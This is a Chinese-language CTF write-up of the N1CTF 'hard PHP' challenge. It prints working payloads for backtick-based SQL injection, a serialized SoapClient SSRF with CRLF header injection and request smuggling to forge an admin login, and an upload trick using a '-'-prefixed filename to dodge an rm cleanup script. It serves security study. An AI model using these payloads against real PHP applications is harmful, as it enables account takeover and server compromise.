Switch branches/tags
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
img
Dockerfile
README.md
clean_danger.sh
nu1lctf.tar.gz
run.sh
sql.sql

README.md

N1CTF hard PHP Writeup

这个题目非常的有意思,做题的时候真的感觉到了php有多硬(hard被我强行翻译为硬)。

题目的代码和部署环境都在这里,比赛的时候没时间做的还有机会去看。

0x1 代码审计,发现漏洞

首先是源码泄露,下载到所有的代码,就不用说了。另外还给了docker的部署环境。

FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5
ADD nu1lctf.tar.gz /app/
RUN apt-get update
RUN a2enmod rewrite
COPY sql.sql /tmp/sql.sql
COPY run.sh /run.sh
RUN mkdir /home/nu1lctf
COPY clean_danger.sh /home/nu1lctf/clean_danger.sh
RUN chmod +x /run.sh
RUN chmod 777 /tmp/sql.sql
RUN chmod 555 /home/nu1lctf/clean_danger.sh
EXPOSE 80
CMD ["/run.sh"]

php的版本是5.5.9,比较老。

先在config.php看到了全局过滤:

function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
    }
}
function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all();

这样过滤之后,简单的注入就不存在了。

user.php中看到insert函数,代码如下:

 private function get_column($columns){
        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';
        return $column;
    }    
public function insert($columns,$table,$values){

        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);
        return $result;
    }

看对$value的操作,先将$value数组的每个值用反引号引起来,然后再用逗号连接起来,变成这样的字符串:

`$value[0]`,`$value[1]`,`$value[1]`

然后再执行

$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';

核心操作是如果一对反引号中间的内容不存在逗号和反引号,就把反引号变为单引号,所以$value就变为了

('$value[0]','$value[1]','$value[1]')

但是如果$value元素本身带有反引号,就会破坏掉拼接的结构,在做反引号变为单引号的时候造成问题,比如说:

考虑$value为 : array("admin`,`1`)#","password")
经过处理后,就变为了 : ('admin','1')#`,'password' )
相当于闭合了单引号,造成注入。

看到insert函数在publish函数中被调用,并且存在$_POST['signature']变量可控,注入点就在这里:

  @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));

0x2 通过注入拿到管理员密码

开始是这样想的

写注入payload的部分是在 $mood中,这是一个序列化后的Mood类,好像没法直接出数据,用盲注又太麻烦,但是因为mysql的insert可以一次插入多条数据:

insert into table (`username`,`password`) values ('user1','pass1'),('user2','pass2')

所以这里可以通过$_POST['signature']一直往后覆盖,把输出点放到下一条数据的的$_POST['signature']字段,但是问题来了,我不知道自己的userid,插入进去也看不到啊。。(因为我没发现竟然可以包含session,包含session之后就看到userid了,这是一种思路).下面是我当时的做法。

我的做法

我看了看代码之后,发现其实 Mood本身就有输出点的,在views/index页面:

echo htmlentities($data['data'][$i]['sig'])."<br><br>";
$mood = (int)$data['data'][$i]['mood']['mood'];
echo "<img src='img/$mood.gif'><br><br>";
echo "published ".$data['data'][$i]['subtime']."<br>";

Mood类的mood参数被直接输出到页面中了,但是需要注意的是进行了一个int类型的转换,如果可以伪造Mood类的mood属性就可以了。

$mode = new Mood((int)"1","114.114.114.114");
$mode->data = "0";  // 把data设置为0,可以直观的从页面的publish time中看到注入的数据是否被成功反序列化
echo serialize($mode);
//O:4:"Mood":4:{s:4:"mood";i:1;s:2:"ip";s:15:"114.114.114.114";s:4:"date";i:1520912184;s:4:"data";s:1:"0";}

现在来解决整型的问题,因为在php中,最大的整型是8个字节,所以有32个字节的数据,分四次读出,每次8个字节,转化为10进制。

php > echo dechex(PHP_INT_MAX);
7fffffffffffffff

最后注入的payload为:

signature=username`,concat(`O:4:"Mood":3:{s:4:"mood";i:`,(select conv(hex((select mid((select password from ctf_users where is_admin=1 ),1,8))),16,10)),`;s:2:"ip";s:15:"114.114.114.114";s:4:"date";s:1:"0";}`))#&mood=0

然后访问首页就可以看到有这样的一个请求:

然后再mysql中执行:

mysql> select unhex(conv("3617854171513108786",10,16));
+------------------------------------------+
| unhex(conv("3617854171513108786",10,16)) |
+------------------------------------------+
| 2533f492                                 |
+------------------------------------------+

求出前八位,然后依次类推求出后面的24位,最后解密的得到管理员的账号密码为:

admin:nu1ladmin

0x3 巧妙的构造SSRF-神来之笔

拿到管理员账号密码之后,发现有ip限制,不能登录。然后题目放出提示说要SSRF。

代码就这么点,哪有SSRF啊?思路一致跑偏,以为是服务器上其他的软件漏洞导致的SSRF,无果。

再仔细想想,我们目前的漏洞其实有两个了:

  1. sql注入
  2. 伪造任意的php内置类

然后受到http://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault这个题目的影响,一直在想php的其他内置类是否有跟Mood类一样的方法,这显然是不现实的,没有可能那个内置类会有getcountry这样的方法。后来在跟队友的讨论中想到了php的__call的魔术方法 :

也就是说,在调用一个类的不可访问的方法的时候,就会去调用__call方法。

所以我们只需要找到一个类,重载了__call方法,并且可以发请求的就可以了,然后找到了soapClient这个类:

示例如下:

$client = new SoapClient(null, array('location' => "http://127.0.0.1:9999",
                                     'uri'      => "http://test-uri/"));
$se = serialize($client); 
var_dump($se);
$unse = unserialize($se);
$unse -> getcountry();

然后就会发现发送了下面的一个数据包:

POST / HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.5.9-1ubuntu4.11
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://test-uri/#getcountry"
Content-Length: 386

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://test-uri/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>

这样我们就有了SSRF,可以发请求了。我们需要的是用SSRF来登录管理员账号,这里的soapClient只可以用来发送xml的数据,而且Content-Type也不符合要求,那怎么办呢?

0x4 CRLF来助攻,伪造登录请求

根据我的测试,soapClient存在CRLF的参数有两个,一个是user_agent,一个是uri

测试代码如下:

user_agent

$location = "http://127.0.0.1:9999/2.php?action=login";
$uri = "http://127.0.0.1/";
$event = new SoapClient(null,array('user_agent'=>"test\r\ntest:test",'location'=>$location,'uri'=>$uri));
$event->getcountry();

//收到的请求为
/*
POST /2.php?action=login HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
test:test
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1/#getcountry"
Content-Length: 387

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>
*/

uri

$location = "http://127.0.0.1:9999/2.php?action=login";
$uri = "http://127.0.0.1/\r\ntest:test";
$event = new SoapClient(null,array('user_agent'=>"test",'location'=>$location,'uri'=>$uri));
$event->getcountry();

/*
  收到的请求:
POST /2.php?action=login HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1/
test:test#getcountry"
Content-Length: 398

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1/
test:test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>
*/

因为请求体一定在可注入点的后面,所以我们不需要担心。无论CRLF的注入点在哪,我们都可以轻松的利用CRLF向下覆盖,重写请求体。

这里的关键是在请求头,因为在HTTP协议中,当请求头中有相同的键值的时候,是一第个为准的。

比如这样的一个请求:

POST /2.php?action=login HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1/
Content-Type: application/x-www-form-urlencode
Content-Length: 398

服务器解析时识别的Content-Typetext/xml; charset=utf-8,但是我们想post表单,要要求它为application/x-www-form-urlencode

所以注意看两个请求的注入点位置,显然uri的CRLF注入点在Content-Type的后面,没把法修改Content-Type,利用起来有点难度,所以先讲 user_agent这个注入点。

利用user_agent这个CRLF注入点

下面是利用代码,生成注入数据:

$location = "http://127.0.0.1/index.php?action=login";
$uri = "http://127.0.0.1/";
$event = new SoapClient(null,array('user_agent'=>"test\r\nCookie: PHPSESSID=08jl0ttu86a5jgda8cnhjtvq32\r\nContent-Type: application/
x-www-form-urlencoded\r\nContent-Length: 45\r\n\r\nusername=admin&password=nu1ladmin&code=470837\r\n\r\n\r\n",'location'=>$location,
'uri'=>$uri));
$c = (serialize($event));
var_dump(urlencode($c));

这里的PHPSESSID换成一个还没有登录过的session,验证码换成自己的,注入这条数据之后:

signature=username`,`O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A39%3A%22http%3A%2F%2F127.0.0.1%2Findex.php%3Faction%3Dlogin%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A174%3A%22test%0D%0ACookie%3A+PHPSESSID%3D08jl0ttu86a5jgda8cnhjtvq32%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+45%0D%0A%0D%0Ausername%3Dadmin%26password%3Dnu1ladmin%26code%3D164760%0D%0A%0D%0A%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D`)#&mood=0

然后再用刚才的那个session访问一下,访问一下首页,就拿到管理员权限了。

利用uri这个CRLF注入点

根据刚才分析,知道uri这个注入点没办法伪造Content-Type 但是难道就不能利用了么?

(这次跟着@magicBlue学了一招)看请求,注意到一个细节Connection: Keep-Alive ,说明这是一个长http连接,有什么用呢,来测试一下:

写一个测试代码如下:

//2.php 
<?php 
    var_dump($_GET);
    var_dump($_POST);

做下面的测试:

可以发现当第一个请求的Connection: Keep-Alive的时候,接着的那个请求也会被响应。也就是说在一次HTTP连接中可以同时又多个HTTP请求头和请求体,但是当前请求被响应的前提是,前一个请求有Connection: Keep-Alive 。 (测试的时候需要注意Content-Length字段,需把burp中的repeater->update content-length选项关掉)

这里就也给了我们一个很重要的启示,如果我们遇到一个GET型的CRLF注入,但是我们需要的却是一个POST类型的请求,就可以用这种方式,在第一个请求中注入一个Connection: Keep-Alive,然后接着往下注入第二个请求,就可以实现我们的目的。

这里写一下payload:

$uri = "http://www.baidu.com/?test=blue\r\nContent-Length: 0\r\n\r\n\r\nPOST /index.php?action=login HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: PHPSESSID=52m5ugohiki56gds9c6t71rj92\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 45\r\nConnection: Close\r\n\r\nusername=admin&password=nu1ladmin&code=435137\r\n\r\n\r\n";
$location = "http://127.0.0.1/test";  //注意这里一定不要写 index.php?action=login,否则第一个请求会改变验证码的值
$event = new SoapClient(null,array('location'=>$location,'uri'=>$uri));
echo  urlencode(serialize($event));

这两种方法都可以拿到管理员权限。

0x5利用bash的特性,绕过删除

拿到管理员权限之后,就可以上传了,但是有个坑点:

$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
        $file_true_name = str_replace('/','',$file_true_name);
        $file_true_name = str_replace('\\','',$file_true_name);
        $file_true_name = $file_true_name.time().rand(1,100).'.jpg';
        $move_to_file = $user_path."/".$file_true_name;
        if(move_uploaded_file($uploaded_file,$move_to_file)) {
            if(stripos(file_get_contents($move_to_file),'<?php')>=0)
                system('sh /home/nu1lctf/clean_danger.sh');
            return $file_true_name;
        }
# /home/nu1lctf/clean_danger.sh
cd /app/adminpic/ 
rm *.jpg 
cd /var/www/html/adminpic/ 
rm * 

开始没有仔细看代码,以为用短标签就可以直接绕过了。(记得phithon师傅说过,php5.5.x版本有个bug,php.ini中的short_open_tag => Off是不起作用的)

所以一直拿不到shell,后来自己来看代码才发现:

stripos(file_get_contents($move_to_file),'<?php')>=0  // 这里是>= 
    // flase是 >= 0的,所以无论传啥都会给删了。

那就是要传一个rm *.jpg删不掉的,马上想到之前学习linux的时候遇到的一个文件删不掉的问题

root@9f4b226f92c1:/app/test# ls
-test.jpg  1.php
root@9f4b226f92c1:/app/test# rm *.jpg
rm: invalid option -- 't'
Try 'rm ./-test.jpg' to remove the file '-test.jpg'.
Try 'rm --help' for more information.root@9f4b226f92c1:/app/test# ls
-test.jpg  1.php
root@9f4b226f92c1:/app/test# rm *rm: invalid option -- 't'
Try 'rm ./-test.jpg' to remove the file '-test.jpg'.
Try 'rm --help' for more information.
root@9f4b226f92c1:/app/test# ls
-test.jpg  1.php

这估计是因为 bash在做*符号展开之后,直接把-test.jpg传给了rm命令,然后rm命令就把-后面内容全部作为参数解析,导致命令执行失败。

所以只需要上传一个以-开头的文件,就删除不掉了。

上传完成之后,不知道为啥文件不再首页显示,必须要爆破一下,然后利用文件包含拿到shell。

0x6 启示

做完这个题,真的是更加深刻的体会到了安全是一个面,知识点无处不在啊,还是要多学习各种知识啊。

最后不得不佩服出题人宽泛的知识体系,膜拜一下。